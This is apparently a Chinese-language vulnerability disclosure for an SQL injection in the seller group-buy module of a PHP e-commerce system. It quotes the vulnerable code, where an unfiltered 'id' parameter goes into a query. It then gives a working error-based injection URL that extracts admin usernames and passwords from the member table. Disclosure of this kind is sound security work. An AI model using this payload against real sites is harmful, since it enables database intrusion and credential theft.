### 简要描述:
这个洞我事先搜索了下乌云和各大论坛,没有查到结果,但是不排除数字X平台或者其他渠道厂商已经获知漏洞详情,知道有漏洞而不修补,我还得接着提。
### 详细说明:
缺陷文件:/app/seller_groupbuy.app.php
function edit()
{
$id = empty($_GET['id']) ? 0 : $_GET['id']; //未过滤
if (!$id)
{
$this->show_warning('no_such_groupbuy');
return false;
}
if (!$this->_ican($id, ACT)) //进入ican函数
{
$this->show_warning('Hacking Attempt');
return;
}
function _ican($id, $act = '')
{
$state_permission = array(
GROUP_PENDING => array('start', 'edit', 'drop'),
GROUP_ON => array('cancel', 'desc', 'log', 'finished', 'export_ubbcode'),
GROUP_END => array('cancel', 'desc', 'finished', 'log'),
GROUP_FINISHED => array('drop', 'log', 'view_order'),
GROUP_CANCELED => array('drop', 'log')
);
$group = $this->_groupbuy_mod->get(array(
'join' => 'belong_goods',
'conditions' => 'gb.group_id=' . $id . ' AND g.store_id=' . $this->_store_id,// id可控,SQL语句进入数据库查询造成注射
### 漏洞证明:
exp:
index.php?app=seller_groupbuy&act=edit&id=1 and (select user_name from ecm_member where user_id=1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b)#
[<img src="https://images.seebug.org/upload/201402/2720503023f65f03e32a39044af58e578dbe1142.jpg" alt="bbb.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/2720503023f65f03e32a39044af58e578dbe1142.jpg)
暂无评论